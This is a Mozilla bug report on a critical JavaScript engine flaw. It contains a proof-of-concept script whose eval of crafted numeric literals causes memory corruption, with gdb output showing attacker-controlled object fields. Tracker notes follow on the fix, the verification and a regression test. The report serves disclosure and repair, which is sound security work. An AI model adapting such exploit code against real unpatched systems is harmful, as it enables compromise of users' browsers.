Closed
Bug 364023
Opened 18 years ago
Closed 18 years ago
LITOPX DEFFUN is exploitable
Categories
(Core :: JavaScript Engine, defect)
Core
JavaScript Engine
Tracking
()
VERIFIED
FIXED
People
(Reporter: sync2d, Assigned: sync2d)
Details
(Keywords: crash, verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:critical] security tracker for bug 363988)
Attachments
(1 file)
|
2.55 KB,
text/plain
|
Details |
$ cat litopx-deffun-x.txt
function exploit() {
var code = "";
for(var i = 0; i < 0x10000; i++) {
if(i == 125) {
code += "void 0x10000050505050;\n";
} else {
code += "void " + (0x10000000000000 + i) + ";\n";
}
}
code += "function foo() {}\n";
eval(code);
}
exploit();
$ gdb --eval run --args dbg.obj/js litopx-deffun-x.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x00432d3d in JS_GetPrivate (cx=0xb50750, obj=0x131c620) at jsapi.c:2298
2298 JS_ASSERT(OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE);
(gdb) print *obj
$1 = {map = 0x50505050, fslots = {1127219200, 126, 1127219200, 127,
1127219200, 128}, dslots = 0x43300000}
In other words, bug 363988 is exploitable.
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Updated•18 years ago
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Flags: blocking1.8.1.2+
Flags: blocking1.8.0.10+
Whiteboard: [sg:critical] security tracker for bug 363988
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Comment 2•18 years ago
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Fix landed for bug 363988.
/be
Status: NEW → RESOLVED
Closed: 18 years ago
Resolution: --- → FIXED
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Updated•18 years ago
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Keywords: verified1.8.0.10,
verified1.8.1.2
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Comment 3•18 years ago
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Updated•18 years ago
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Flags: in-testsuite+
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Comment 4•18 years ago
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verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux
Status: RESOLVED → VERIFIED
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Updated•18 years ago
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Group: security
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Comment 5•18 years ago
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/cvsroot/mozilla/js/tests/js1_5/Function/regress-364023.js,v <-- regress-364023.js
initial revision: 1.1
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Description
•